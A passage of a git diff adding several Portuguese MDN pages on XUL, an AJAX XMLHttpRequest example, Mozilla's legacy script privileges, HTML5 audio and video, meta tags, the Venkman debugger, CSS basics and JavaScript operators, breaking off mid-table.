XUL provê a capacidade de criar a maioria dos elementos encontrados em interfaces gráficas modernas. É genérico o suficiente para que possa ser aplicado às necessidades especiais de certos dispositivos e poderoso o suficiente para que desenvolvedores possam criar interfaces sofisticadas com ele.

+ +

Alguns elementos que podem ser criados são:

+ + + +

O conteúdo exibido pode ser criado a partir de arquivos XUL ou com dados vindos de uma fonte de dados (datasource). No Mozilla, tais fontes de dados incluem uma caixa de correios de usuário, seus marcadores e resultados de buscas. O conteúdo de menus, árvores e outros elementos pode ser habitado com esses dados, ou com seus próprios dados supridos por um arquivo RDF.

+ +

O conteúdo XUL pode ser lido de um arquivo local ou de um site remoto. Pode também ser empacotado em um instalador que o usuário copie através de download e instale. Este último método dá à aplicação privilégios adicionais, tais como leitura de arquivos locais e modificação das preferências do usuário.

+ +

XUL é atualmente armazenado em arquivos com a extensão .xul. Você pode abrir um arquivo XUL com o Mozilla tanto como com qualquer outro arquivo, usando o comando Abrir Arquivo do menu Arquivo ou escrevendo a URL na barra de endereços.

+ +

Quando lendo conteúdo XUL de um site remoto, você deve configurar seu servidor web para enviar arquivos XUL com o tipo de conteúdo 'application/vnd.mozilla.xul+xml'.

+ +

O que preciso saber para usar este tutorial?

+ +

Você precisa ter um conhecimento de HTML e um mínimo de conhecimento básico de XML e CSS. Aqui estão algumas normas para manter em mente:

+ + + +

XUL é suportado no Mozilla e em navegadores baseados nele, tais como o Netscape 6 ou posterior e Mozilla Firefox. Devido a várias mudanças na sintaxe XUL através do tempo, você deverá pegar a última versão para os exemplos funcionarem corretamente.

diff --git a/files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html b/files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html new file mode 100644 index 0000000000..2abdf08c18 --- /dev/null +++ b/files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html @@ -0,0 +1,34 @@ +--- +title: Um pequeno exemplo usando AJAX +slug: Um_pequeno_exemplo_usando_AJAX +tags: + - AJAX + - 'AJAX:Exemplos' + - Todas_as_Categorias +--- +

+

Exemplo de uma simples requisição usando XmlHttpRequest, que retorna o +conteúdo de uma página do mesmo domínio. +

+
// Esta função será chamada pelo componente XmlHttpRequest
+function processReqChange ()
+{
+   var s = 'Status: \t' + request.status + '\n';
+   s += 'StatusText: \t' + request.statusText + '\n';
+   s += 'ResponseText: \t' + request.responseText;
+   // codigo 4 para 'status complete'
+   if (request.readyState == 4 && request.status == 200)
+       alert(s);
+}
+// Se o endereco que se deseja acessar assincronamente
+// for um script, ele poderá receber parâmetros,
+// e uma forma simples de enviar parâmetros é pela própria url
+// var url = 'meu_script.php?var1=par1'
+// Se você tentar acessar uma página de outro domínio (e.g: http://mozilla.org)
+// o firefox vai levantar uma exeção, "Permission denied".
+var url = 'index.html';
+var request = new XMLHttpRequest();
+request.onreadystatechange = processReqChange;
+request.open("GET", url, true);
+request.send("");
+
diff --git "a/files/pt-pt/orphaned/usando_privil\303\251gios_expandidos_em_navegadores_mozilla/index.html" "b/files/pt-pt/orphaned/usando_privil\303\251gios_expandidos_em_navegadores_mozilla/index.html" new file mode 100644 index 0000000000..7b54dfbde6 --- /dev/null +++ "b/files/pt-pt/orphaned/usando_privil\303\251gios_expandidos_em_navegadores_mozilla/index.html" @@ -0,0 +1,99 @@ +--- +title: Usando privilégios expandidos em navegadores Mozilla +slug: Usando_privilégios_expandidos_em_navegadores_Mozilla +tags: + - JavaScript + - Todas_as_Categorias +--- +

Navegadores Mozilla dispõem de funções para segurança em Javascript similares às usadas para segurança em Java e Javascript no Netscape Communicator 4.x. +

Em casos mais simples, o código pede permissão para habilitar o privilégio que possibilita o acesso ao alvo através de scripts. Por exemplo: +

+
netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
+
+//ou:
+
+netscape.security.PrivilegeManager.enablePrivilege("UniversalPreferencesRead UniversalFileRead");
+
+

Quando este método é invocado, se a assinatura for válida (caso seja um script assinado) ou codebase principal esteja habilitado, os privilégios expandidos são concedidos. Caso o acesso não seja por meio de uma destas formas, por exemplo, utilizando um arquivo local através da url file://, será exibida uma caixa de diálogo perguntando se o usuário permite que o script use estes privilégios e também se deseja memorizar esta decisão. Note que no segundo exemplo o script solicita dois privilégios, porém exibe apenas uma caixa de diálogo descrevendo-os. +

Os privilégios são concedidos apenas no escopo da função que os solicitou. Este escopo inclui as funções chamadas por esta função. Quando a função termina, os privilégios não são mais aplicáveis. +

+

Exemplo

+

A função b solicita privilégios expandidos, e somente comandos e funções chamados no escopo da mesma após a solicitação têm privilégios concedidos. É uma boa prática habilitar privilégios somente quando necessário, e após o uso desabilitá-los. Isso ajuda a proteger o computador do usuário de seções perigosas no código. +

+
function mostraPrivilegios(i) {
+  try{
+    if (history[0] != "") {
+	  document.write(i + ": habilitado<br>");
+	}
+  } catch (e) {
+    document.write(i + ": desabilitado<br>");
+  }
+}
+
+function a() {
+  mostraPrivilegios(5);
+}
+
+function b() {
+  mostraPrivilegios(3);
+  netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
+  mostraPrivilegios(4);
+  a();
+  mostraPrivilegios(6);
+}
+
+function c() {
+  mostraPrivilegios(2);
+  b();
+  mostraPrivilegios(7);
+}
+
+mostraPrivilegios(1);
+c();
+mostraPrivilegios(8);
+
+

Este exemplo exibe o seguinte resultado: +

+
1: desabilitado
+2: desabilitado
+3: desabilitado
+4: habilitado
+5: habilitado
+6: habilitado
+7: desabilitado
+8: desabilitado
+
+

Privilégios

+
UniversalBrowserRead +
Leitura de dados sensíveis do browser. Isto permite que o certificado passe a verificação da mesma origem ao ler de qualquer documento. +
+
UniversalBrowserWrite +
Modificação de dados sensíveis do browser. Isto permite que o certificado passe a verificação da mesma origem ao escrever em qualquer documento. +
+
UniversalXPConnect +
Acesso irrestrito às APIs do browser usando XPConnect. +
+
UniversalPreferencesRead +
Ler preferências usando o método navigator.preference. +
+
UniversalPreferencesWrite +
Ajustar preferências usando o método navigator.preference. +
+
CapabilityPreferencesAccess +
Ler e ajustar as preferências que definem políticas de segurança, incluindo que privilégios foram concedidos e negados aos scripts. Você também necessita de UniversalPreferencesRead e UniversalPreferencesWrite. +
+
UniversalFileRead +
Uso do método window.open com URLs file:// e permite que o browser faça upload de arquivos usando <input type="file">. +
+

Nota: Este artigo, bem como seu exemplo, foi baseado no artigo Signed Scripts in Mozilla, porém, conta com atualizações para conformidade no uso de navegadores atuais. +

+
+

Informações Sobre o Documento Original

+ +
+

Categorias +

Interwiki Language Links +

diff --git "a/files/pt-pt/orphaned/usando_\303\241udio_e_v\303\255deo_no_firefox/index.html" "b/files/pt-pt/orphaned/usando_\303\241udio_e_v\303\255deo_no_firefox/index.html" new file mode 100644 index 0000000000..36d7159a51 --- /dev/null +++ "b/files/pt-pt/orphaned/usando_\303\241udio_e_v\303\255deo_no_firefox/index.html" @@ -0,0 +1,74 @@ +--- +title: Usando_áudio_e_vídeo_no_Firefox +slug: Usando_áudio_e_vídeo_no_Firefox +--- +

{{ gecko_minversion_header("1.9.1") }}

+

O Firefox 3.5 introduz suporte para os elementos audio e video do HTML 5, oferecendo a capacidade de facilmente embutir mídia em documentos HTML. Atualmente são suportados os formatos de mídia Ogg Theora, Ogg Vorbis e WAV.

+

Embutindo mídia

+

Embutir mídia no seu documento HTML é simples:

+
<video src="http://v2v.cc/~j/theora_testsuite/320x240.ogg" autoplay>
+  Your browser does not support the <code>video</code> element.
+</video>
+
+

Este exemplo roda um video de amostra do web site Theora, por exemplo.

+

Múltiplos arquivos fonte podem ser especificados usando o elemento source (en) a fim de proporcionar vídeo/áudio codificados em diferentes formatos para diferentes navegadores. Por exemplo:

+
<video controls>
+  <source src="foo.ogg" type="video/ogg">
+  <source src="foo.mp4">
+  Your browser does not support the <code>video</code> element.
+</video>
+
+

tocará um arquivo Ogg em navegadores que suportem o formato Ogg. Se o navegador não suportar Ogg, ele tentará usar o arquivo MPEG-4.

+

Você pode também especificar quais codecs de mídia o arquivo requere; isto permite ao navegador, tomar decisões cada vez mais inteligentes:

+
<video controls>
+  <source src="foo.ogg" type="video/ogg; codecs=&quot;dirac, speex&quot;">
+  Your browser does not support the <code>video</code> element.
+</video>
+

Aqui nós especificamos que o vídeo usa os codecs Dirac e Speex. Se o navegador suportar Ogg, mas não os codecs especificados, o vídeo não será carregado.

+

Se o atributo type não for especificado, o tipo da mídia é obtido pelo servidor e checado para ver se o Gecko pode lidar com ele; se ele não puder ser renderizado, a próxima fonte é checada. Se nenhum dos elementos source especificados puder ser usado, um evento error é expedido para o elemento video. Se o atributo type é especificado, ele é comparado com os tipos que o Gecko pode tocar, e se não for reconhecido, o servidor não é nem mesmo requisitado; ao invés disso, a próxima fonte é checada uma vez.

+

Controlando a reprodução de mídia

+

Uma vez que você tenha adicionado mídia no seu documento HTML, usando os novos elementos, você pode controlá-la programaticamente através do seu código JavaScript. Por exemplo, para começar (ou recomeçar) uma reprodução, você pode fazer isto:

+
var v = document.getElementsByTagName("video")[0];
+v.play();
+
+

A primeira linha busca o elemento video no documento e a segundo chama o método play() do elemento, como definido na interface {{ interface("nsIDOMHTMLMediaElement") }} que é usada para implementar elementos de mídia.

+

Eventos de mídia

+

Diversos eventos são enviados durante o manuseio de mídia:

+ +
Nome do evento Descrição
abort Enviado quando a reprodução é abortada; por exemplo, se a mídia estiver tocando e for reiniciada, este evento é enviado.
canplay Enviado quando há dados suficientes disponíveis para que a mídia seja tocada, ao menos por alguns quadros. Corresponde ao CAN_PLAY readyState.
canplaythrough Enviado quando o estado pronto muda para CAN_PLAY_THROUGH, indicando que a mídia inteira pode ser tocada sem interrupção, assumindo que a taxa de download permaneça ao menos no nível atual.
canshowcurrentframe O quadro atual carregou e pode ser apresentado. Isto corresponde ao CAN_SHOW_CURRENT_FRAME readyState.
dataunavailable Enviado quando o estado pronto muda para DATA_UNAVAILABLE.
durationchange Os metadados foram carregados ou modificados, indicando uma mudança na duração da mídia. Isto é enviado, por exemplo, quando a mídia carregou o suficiente para se saber a sua duração.
emptied A mídia torna-se vazia; por exemplo, este evento é enviado se a mídia já foi carregada (ou parcialmente carregada), e o método load() é chamado para recarregar isto.
empty Enviado quando um erro ocorre e a mídia está vazia.
ended Enviado quando a reprodução termina.
error Enviado quando um erro ocorre. O atributo error do elemento contém mais informações.
load A mídia foi completamente obtida.
loadedfirstframe O primeiro quadro de mídia terminou de carregar.
loadedmetadata Os metadados da mídia terminaram seu carregamento; todos os atributos agora contém toda a informação que poderiam ter.
loadstart Enviado quando o carregamento da mídia inicia.
pause Enviado quando a reprodução é pausada.
play Enviado quando a reprodução começa ou continua.
ratechange Enviado quando a velocidade da reprodução muda.
seeked Enviado quando uma operação solicitada se completa.
seeking Enviado quando uma operação solicitada começa.
timeupdate O tempo indicado pelo atributo currentTime do elemento mudou.
volumechange Enviado quando o volume do áudio muda (tanto quando o volume é configurado, quando o atributo muted é mudado).
waiting Enviado quando a operação requisitada (como a reprodução) é adiada até que se complete outra operação (como uma solicitação).
+

Você pode facilmente assistir a estes eventos usando o seguinte código:

+
var v = document.getElementsByTagName("video")[0];
+
+v.addEventListener("seeked", function() { document.getElementsByTagName("video")[0].play(); }, true);
+v.currentTime = 10.0;
+
+

Este exemplo busca o primeiro elemento video no documento e anexa um evento listener a ele, olhando para o evento solicitado, que é enviado sempre que uma operação solicitada é completada. O listener simplesmente pede ao método play() do elemento, que inicia a reprodução.

+

Então, na linha 4, o exemplo configura o atributo currentTime do elemento para 10.0, o que inicia uma operação de solicitação até a marca de 10 segundos na mídia. Isto causa o envio de um evento seeking quando a operação começa, então um evento seeked é expedido quando a solicitação é completada.

+

Em outras palavras, este exemplo solicita até os 10 segundos da marca na mídia, e então começa a reprodução assim que a solicitação é finalizada.

+

Opções de fallback

+

O código HTML incluído entre, por exemplo, as tagas <video> e </video> é processado por navegadores que não suportam o elemento media do HTML 5. Você pode tirar vantagem deste fato para proporcionar um fallback de mídia alternativa para estes navegadores.

+

Esta seção proporciona duas possíveis opções de fallback para vídeo. Em cada caso, se o navegador suportar o elemento video do HTML 5, este será usado; caso contrário, a opção fallback será usada.

+

Usando Flash

+

Você pode usar o Flash para tocar um filme em formato Flash se o elemento video não for suportado:

+
<video src="video.ogv" controls>
+    <object data="flvplayer.swf" type="application/x-shockwave-flash">
+      <param value="flvplayer.swf" name="movie"/>
+    </object>
+</video>
+
+

Note que você não inclui class ou id na tag object para que seja compatível com outros navegadores além do Internet Explorer.

+

Tocando vídeos Ogg usando um miniaplicativo Java

+

Aqui está um miniaplicativo Java chamado Cortado que você pode usar como fallback para tocar vídeos Ogg em navegadores que tenham suporte a Java, mas não ao elemento video do HTML 5:

+
<video src="my_ogg_video.ogg" controls width="320" height="240">
+  <object type="application/x-java-applet"
+          width="320" height="240">
+     <param name="archive" value="cortado.jar">
+     <param name="code" value="com.fluendo.player.Cortado.class">
+     <param name="url" value="my_ogg_video.ogg">
+  </object>
+</video>
+
+

Veja também

+ +

 {{ languages( { "en": "en/Using audio and video in Firefox", "fr": "fr/Utilisation_d'audio_et_video_dans_Firefox", "es": "es/Etiquetas audio y video en Firefox" } ) }}

diff --git a/files/pt-pt/orphaned/utilizando_meta_tags/index.html b/files/pt-pt/orphaned/utilizando_meta_tags/index.html new file mode 100644 index 0000000000..5ccaa1a490 --- /dev/null +++ b/files/pt-pt/orphaned/utilizando_meta_tags/index.html @@ -0,0 +1,377 @@ +--- +title: Utilizando meta tags +slug: Utilizando_meta_tags +tags: + - HTML + - Todas_as_Categorias +--- +

 

+ +

Meta dados incorporados ao código XHTML são, na verdade, estruturas de dados sobre os próprios dados, uma breve descrição do conteúdo da página, seu autor, data de criação, linguagem e outras informações relevantes.

+ +

Alguns sistemas de busca dão aos conteúdos das meta tags uma forte ênfase no ranking dos sites, a maioria deles indexa os dados das meta tags description e keywords como sumários da página.

+ +

Se estas tags forem usadas correta e racionalmente elas podem aumentar a relevância nos resultados de busca o que é vantajoso tanto para o proprietário do site quanto para seu usuário.

+ +

Prós e Contras

+ +

Como qualquer ferramenta, a utilização das meta tags tem seus prós e contras, vale ressaltar que o uso consciente de suas potencialidades pode praticamente anular seu lado negativo. Seguem algumas dicas:

+ +

Mantenha as meta tags simples e concisas: Descrições muito longas e palavras-chave em excesso serão ignoradas por alguns buscadores, inclusive, alguns deles indexam apenas as seis primeiras keywords. Sistemas de indexação podem também identificar o chamado "metatag spamming", onde as palavras-chave são repetidas várias vezes, penalizando, assim, o site em seu ranking.

+ +

Dê prioridade às palavras-chave mais importantes: Uma vez que alguns sistemas de indexação lêem somente algumas das keywords é importante listar as mais importantes primeiro.

+ +

Evite o uso da meta tag REFRESH para redirecionamento: Antigamente muito usada, hoje deve ser evitada, primeiramente porque ela tende a confundir os bancos de dados dos sistemas de indexação e depois porque confundem também ao usuário, especialmente os que porventura estejam navegando com leitores de tela.

+ +

Não abuse das meta tags: Meta tags fornecem informações usadas para categorizar, priorizar e rankear websites além de controlar seu conteúdo pelos webmasters e/ou autores, mas este privilégio não deve ser abusado. Como dito anteriormente muitos sistemas de indexação são "inteligentes" o suficientes para perceber quando há este tipo de abuso, penalizando o site em sua colocação no ranking.

+ +

Para o Google, elas não existem! Devido à grande quatidade de "metatag spamming" o robô de busca do Google foi programado para ignorá-las! Ele indexa parte do conteúdo da própria página em seu banco de dados ao invés da "description".

+ +

Tipos de meta tags

+ +

HTTP-EQUIV

+ +

Meta tags com o atributto HTTP-Equiv são equivalentes aos cabeçalhos http. Normalmente elas controlam as ações dos browsers e podem ser usadas para melhor especificar as informações.

+ +

Tags usadas desta forma têm um efeito equivalente quando sendo usadas como um cabeçalho HTTP.

+ +

Nota: Enquanto este tipo de meta tags funciona normalmente no Netscape, outros browsers podem ignorá-las. Elas também são ignoradas por servidores proxy, que vêm se tornando muito comuns. É mais recomendável usar o cabeçalho HTTP equivalente, como, por exemplo, do Apache.

+ +

Os cabeçalhos HTTP são definidos em

+ +

HTTP 1.0 e HTTP 1.1

+ +

Estes cabeçalhos podem ser gerados por scripts CGI e no Apache usando um arquivo contendo meta dados.

+ +

Name

+ +

Meta tags com o atributo "name" são usadas para tipos que não correspondem a cabeçalhos HTTP. Muitas vezes esta distinção é ignorada. Por exemplo, alguns buscadores reconhecem a meta tag "Keywords" com o tipo "http-equiv", outros com o tipo "name".

+ +

Dublin Core

+ +

Com o objetivo de melhorar a indexação das páginas pelos motores de busca, muitos grupos de desenvolvedores acabam criando sua própria "liguagem de metatags", a mais popular delas pertence ao projeto Dublin Core iniciado em 1995 buscando, segundo organizadores, mais flexibilidade para os autores.

+ +

Site oficial do projeto: http://www.dublincore.org

+ +

Lista de Metatags, atributos e especificações

+ +

Apesar de todo o alvoroço existente em torno dos meta dados, muitas pessoas ainda não tem um conhecimento adequado da maioria dos recursos que estas ferramentas proporcionam, abaixo segue uma lista das principais meta tags, seus valores e funcionalidades.

+ +

Nota: As palavras-chave "http-equiv", "name" e "content" são case-insensitive, assim como seus valores, mas segundo as especificações do XHTML, todo o código deve ser em letras minúsculas.

+ +

Author

+ +

O nome do autor da página.

+ +
<meta name="author" content="André" />
+
+ +

Cache-Control

+ +

Esta tag é apenas reconhecida pelo http 1.1 e permite os seguintes valores:

+ + + + + + + + + +

Nota: A diretiva "cache-control:no-cache" tem a mesma função de "pragma:no-cache". O ideal quando se usa essa instrução é utilizar ambas as formas caso não se saiba se o servidor é ou não compatível com o HTTP 1.1.

+ +
<meta http-equiv="cache-control"   content="no-cache" />
+
+ +

Content-language

+ +

Declara a(s) linguagem(ns) natural(is) do documento. Pode ser usada pelos motores de busca para categorizar por idioma.

+ +
<meta http-equiv="content-language" content="pt-br, en-US, fr" />
+
+ + + +
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+
+ + + +

Como o nome já diz declara o direito autoral da página.

+ +
<meta name="copyright" content="© 2004 tex   texin" />
+
+ +

Description

+ +

Contém uma descrição da página

+ +
<meta name="description" content="...resumo da página..." />
+
+ +

Expires

+ +

A data e a hora depois dos quais o documento deve ser considerado como expirado. Uma data ilegal como, por exemplo "0" é considerada como "agora".

+ +

Configurar "Expires" como "0" pode também ser usado para forçar uma nova checagem a cada visita do robô de busca.

+ +

Nota: Alguns robôs de busca podem deletar um documento de seu banco de dados ao encontrá-lo expirado, outros podem marcar uma revisita

+ +
<meta http-equiv="expires" content = "Mon, 22 jul 2006 11:12:01 GMT" />
+
+ +

Keywords

+ +

As keywords tipicamente são usadas por alguns motores de busca para indexar os documentos juntamente com informações encontradas em seu título e body.

+ +

As frases ou palavras devem ser separadas por vírgulas.

+ +
<meta name="keywords" content="..palavras-chave do documento" />
+
+ +

Pragma no-cache

+ +

Faz com que o navegador não armazene a página em cache. Diferencia-se de "cache-control:no-cache" pelo fato de ser reconhecida por todas as versões do HTTP.

+ +
<meta http-equiv="pragma" content="no-cache" />
+
+ +

Refresh

+ +

Especifica um tempo em segundos para o browser atualizar a página, opcionalmente pode-se adicionar uma URL para a qual será redirecionado.

+ +
<meta http-equiv="refresh" content="15;url=http://www.thechessman.org" />
+
+ +

Robots

+ +

Especifica informações de indexação para os robôs de busca, suporta os seguintes valores:

+ + + + + + + + + + + + + + + +
<meta name="robots" content="all" />
+
+ +

GoogleBoot

+ +

 

+ +

Em adição com a meta tag "Robots", o Google suporta um commando "GoogleBoot". Dizendo ao google que não quer que a página seja indexada.

+ +

Nota: A página continuará a ser indexada pelos outros buscadores

+ +
<meta name="googlebot" content="NoIndex" />
+
+ +

 

+ +

Imagetoolbar

+ +

No internet explorer elimina aquela pequena barra de opções que aparece ao passarmos o mouse por cima de uma imagem

+ +
<meta http-equiv="imagetoolbar" content="no" />
+
+ +

Generator

+ +

Indica o software usado para criar a página como forma de medir a popularidade do produto.

+ +
<meta name="generator" content="Dreamweaver 8" />
+
+ +

Revisit-After

+ +

Diz para os servidores proxy refazer o cache da página depois de um tempo específico.

+ +

Esta meta tag não faz com que os motores de busca voltem para sua página, eles fazem isso em períodos aleatórios.

+ +
<meta name="revisit-after" content="15 days" />
+
+ +

Rating

+ +

Esta tag funciona para classificar a página por censura, assim como no cinema, suporta os valores:

+ + + + + + + +
<meta name="rating" content="general" />
+
+ +

Content-Script-Type

+ +

Define o tipo padrão da linguagem de script do documento.

+ +
<meta http-equiv="content-script-type" content="text/javascript" />
+
+ +

Content-Style-Type

+ +

Define o tipo padrão de linguagem para estilização do documento.

+ +
<meta http-equiv="content-style-type" content="text/css" />
+
+ +

DC.title

+ +

Desempenha a mesma função da tag "title", e deve conter o mesmo valor.

+ +
<meta name="DC.title" content="Mr.TheChessMan - Impressões Ideológicas" />
+
+ +

DC.Creator

+ +

Tem o mesmo papel da meta tag "Author"

+ +
<meta name="DC.creator " content="Gazola, André" />
+
+ +

DC.Creator.adress

+ +

E-mail para contato com o autor da página.

+ +
<meta name="DC.creator.address" content=mr.thechessman@gmail.com" />
+
+ +

DC.Suject

+ +

Tem a mesma função da meta "Keywords".

+ +
<meta name="DC.subject" content="metadata, metatags, dublin core,web design" />
+
+ +

DC.Description

+ +

Tem a mesma função da meta "Description".

+ +
<meta name="DC.description" content="..aqui vai a descrição da página.." />
+
+ +

DC.Publisher

+ +

Nome da organização que é responsável pelo documento.

+ +
<meta name="DC.publisher" content="Info Web Design" />
+
+ +

DC.Custodian

+ +

Normalmente, o webmaster responsável pela página.

+ +
<meta name="Custodian" content="Gazola, André" />
+
+ +

DC.Date.Created

+ +

Data de criação da página no formato AAAA-MM-DD.

+ +
<meta name="DC.date.created" content="2006-02-01" />
+
+ +

DC.Date.Modified

+ +

Última data de modificação do documento, importante para buscas por data.

+ +
<meta name="DC.date.modified" content="2006-02-01" />
+
+ +

DC.Identifier

+ +

URL do documento.

+ +
<meta name="DC.Identifier" content="http://www.thechessman.org">
+
+ +

DC.Format

+ +

Especifica o tipo de dados contidos no documento.

+ + + + + + + + + + + + + +
<meta name="DC.format" content="text/xhtml" />
+
+ +

DC.Type

+ +

Text, Home Page, menu, image, vídeo, dados, software ou sound são alguns dos valores suportados.

+ +
<meta name="DC.type" content="text.homepage.institucional" />
+
+ +
+

Informações Sobre o Documento Original

+ + +
diff --git a/files/pt-pt/orphaned/venkman/index.html b/files/pt-pt/orphaned/venkman/index.html new file mode 100644 index 0000000000..198520d03c --- /dev/null +++ b/files/pt-pt/orphaned/venkman/index.html @@ -0,0 +1,57 @@ +--- +title: Venkman +slug: Venkman +tags: + - Desenvolvimento_Web + - 'Desenvolvimento_Web:Ferramentas' + - 'Extensões:Ferramentas' + - Ferramentas + - JavaScript + - 'JavaScript:Ferramentas' + - Todas_as_Categorias + - Venkman +--- +

 

+ +

Venkman é um depurar JavaScript baseado no Mozilla.

+ +

Artigos no MDC sobre Venkman

+ + + + + +

Iniciação no Venkman

+ + + +

Recursos

+ +

Siga os seguintes links para mais informações sobre o Venkman:

+ + + + + +

Categorias

+ +

Interwiki Language Links

diff --git "a/files/pt-pt/orphaned/web/css/como_come\303\247ar/o_que_\303\251_css_question_/index.html" "b/files/pt-pt/orphaned/web/css/como_come\303\247ar/o_que_\303\251_css_question_/index.html" new file mode 100644 index 0000000000..d386670557 --- /dev/null +++ "b/files/pt-pt/orphaned/web/css/como_come\303\247ar/o_que_\303\251_css_question_/index.html" @@ -0,0 +1,94 @@ +--- +title: O que é CSS? +slug: Web/CSS/Como_começar/O_que_é_CSS? +tags: + - 'CSS:Como_começar' +--- +

+

This page explains what CSS is. +You create a simple document that you will work with on the following pages. +

+

Information: What is CSS?

+

CSS is a language for specifying how documents are presented to users. +

A document is a collection of information that is structured using a markup language. +

+ + +
Examples +
+
  • A web page like this one is a document.
    The information that you see in a web page is usually structured using the markup language HTML (HyperText Markup Language). +
+
  • A dialog in a Mozilla application is a document.
    The user interface controls that you see in a Mozilla dialog are structured using the markup language XUL (XML User-interface Language). +
+
+

In this tutorial, boxes captioned More details like the one below contain optional information. +If you are in a hurry to progress with the tutorial then you could skip these boxes, perhaps returning to read them later. Otherwise read them when you come to them, and perhaps follow the links to learn more. +

+ + +
More details +
+

A document is not the same as a file. It might or might not be stored in a file. +

For example, the document that you are reading now is not stored in a file. When your web browser requests this page, the server queries a database and generates the document, gathering parts of the document from many files. However, in this tutorial you will work with documents that are stored in files. +

For more information about documents and markup languages, see other parts of this web site—for example: +

+ + + + + + + + +
HTMLfor web pages +
XMLfor structured documents in general +
SVGfor graphics +
XULfor user interfaces in Mozilla +
+

In Part II of this tutorial you will see examples of these markup languages. +

+
+

Presenting a document to a user means converting it into a form that humans can make use of. Mozilla is designed to present documents visually—for example, on a computer screen, projector or printer. +

+ + +
More details +
CSS is not just for browsers, and not just for visual presentation. In formal CSS terminology, the program that presents a document to a user is called a user agent (UA). A browser is just one kind of UA. However, in Part I of this tutorial you will only work with CSS in a browser. +

For some formal definitions of terminology relating to CSS, see Definitions in the CSS Specification. +

+
+

Action: Creating a document

+

Use your computer to create a new directory and a new text file there. +The file will contain your document. +

Copy and paste the HTML shown below. Save the file using the name doc1.html +

+
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<html>
+  <head>
+  <title>Sample document</title>
+  </head>
+
+  <body>
+    <p>
+      <strong>C</strong>ascading
+      <strong>S</strong>tyle
+      <strong>S</strong>heets
+    </p>
+  </body>
+</html>
+
+

In your browser, open a new tab or a new window, and open the file there. +

You should see the text with the initial letters bold, like this: +

+ + +
Cascading Style Sheets +
+

What you see in your browser might not look exactly the same as this, because of settings in your browser and in this wiki. If there are some differences in the font, spacing and colors that you see, they are not important. +

+

What next?

+

If you had difficulty understanding this page, or if you have other comments about it, please contribute to its Discussion page. +

Your document does not yet use CSS. +On the next page you use CSS to specify its style: +Why use CSS? +

{{ languages( { "en": "en/CSS/Getting_Started/What_is_CSS", "fr": "fr/CSS/Premiers_pas/Pr\u00e9sentation_des_CSS", "it": "it/Conoscere_i_CSS/Che_cosa_sono_i_CSS", "ja": "ja/CSS/Getting_Started/What_is_CSS", "pl": "pl/CSS/Na_pocz\u0105tek/Czym_jest_CSS", "zh-cn": "cn/CSS/Getting_Started/What_is_CSS" } ) }} diff --git a/files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html b/files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html new file mode 100644 index 0000000000..d0c815aac5 --- /dev/null +++ b/files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html @@ -0,0 +1,832 @@ +--- +title: Expressoes e Operadores +slug: Web/JavaScript/Guia/Expressoes_e_Operadores +--- +
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}
+

Este capítulo descreve expressões e operadores JavaScript, incluindo atribuição, comparação, aritmética, bit a bit, lógico, string, e operadores especiais.

+ +

Expressões

+ +

Uma expressão é qualquer unidade de código válida que resolve um valor.

+ +

Conceitualmente, há dois tipos de expressões: aqueles que atribui um valor para uma variável, e aqueles que simplesmente tem um valor. Por exemplo, a expressão x = 7 é uma expressão que atribui a x o valor sete. Esta expressão avalia-se a sete. Tais expressões usam operadores de atribuição. Por outro lado, a expressão de 3 + 4 simplesmente avalia a sete; ele não realiza uma atribuição. Os operadores usados ​​em tais expressões são referidos simplesmente como operadores.

+ +

JavaScript tem os seguintes tipos de expressões:

+ + + +

Operadores

+ +

JavaScript tem os seguintes tipos de operadores. Esta seção descreve os operadores e contém informações sobre a precedência do operador.

+ + + +

JavaScript has both binary and unary operators, and one special ternary operator, the conditional operator. A binary operator requires two operands, one before the operator and one after the operator:

+ +
operand1 operator operand2
+
+ +

For example, 3+4 or x*y.

+ +

A unary operator requires a single operand, either before or after the operator:

+ +
operator operand
+
+ +

or

+ +
operand operator
+
+ +

For example, x++ or ++x.

+ +

Assignment operators

+ +

An assignment operator assigns a value to its left operand based on the value of its right operand. The basic assignment operator is equal (=), which assigns the value of its right operand to its left operand. That is, x = y assigns the value of y to x.

+ +

The other assignment operators are shorthand for standard operations, as shown in the following table.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Table 3.1 Assignment operators
Shorthand operatorMeaning
x += yx = x + y
x -= yx = x - y
x *= yx = x * y
x /= yx = x / y
x %= yx = x % y
x <<= yx = x << y
x >>= yx = x >> y
x >>>= yx = x >>> y
x &= yx = x & y
x ^= yx = x ^ y
x |= yx = x | y
+ +

Comparison operators

+ +

This seems to me kind of poorly explained, mostly the difference betwen "==" and "==="... A comparison operator compares its operands and returns a logical value based on whether the comparison is true. The operands can be numerical, string, logical, or object values. Strings are compared based on standard lexicographical ordering, using Unicode values. In most cases, if the two operands are not of the same type, JavaScript attempts to convert the operands to an appropriate type for the comparison. (The sole exceptions to this rule are === and !==, which perform "strict" equality and inequality and which do not attempt to convert the operands to compatible types before checking equality.) This generally results in a numerical comparison being performed. The following table describes the comparison operators, assuming the following code:

+ +
var var1 = 3, var2 = 4;
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Table 3.2 Comparison operators
OperatorDescriptionExamples returning true
Equal (==)Returns true if the operands are equal.3 == var1 +

"3" == var1

+ 3 == '3'
Not equal (!=)Returns true if the operands are not equal.var1 != 4
+ var2 != "3"
Strict equal (===)Returns true if the operands are equal and of the same type.3 === var1
Strict not equal (!==)Returns true if the operands are not equal and/or not of the same type.var1 !== "3"
+ 3 !== '3'
Greater than (>)Returns true if the left operand is greater than the right operand.var2 > var1
+ "12" > 2
Greater than or equal (>=)Returns true if the left operand is greater than or equal to the right operand.var2 >= var1
+ var1 >= 3
Less than (<)Returns true if the left operand is less than the right operand.var1 < var2
+ "12" < "2"
